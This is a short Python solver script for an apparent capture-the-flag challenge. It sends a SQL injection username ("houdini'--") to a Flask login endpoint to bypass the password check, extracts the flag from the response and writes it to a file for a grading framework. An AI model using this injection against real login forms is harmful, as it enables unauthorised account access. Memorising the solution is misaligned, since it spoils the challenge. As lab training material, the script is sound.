text: #!/usr/bin/env python3
  import requests
  import re
  
  # Send the request to the flask server.  Note that docker creates a DNS record
  # for challenge that redirects to the correct instance.
  r = requests.post('http://challenge:5000/login',
                    data={"username":"houdini'--",
                          "password":"does not matter"
                         }
                   )
  
  # Extract the flag.
  flag = re.search(r" your flag:\s+([a-zA-Z0-9{}_-]+)", r.text).group(1)
  
  # Write the flag out to where the framework will read it.
  with open('flag', 'w') as f:
      f.write(flag)
  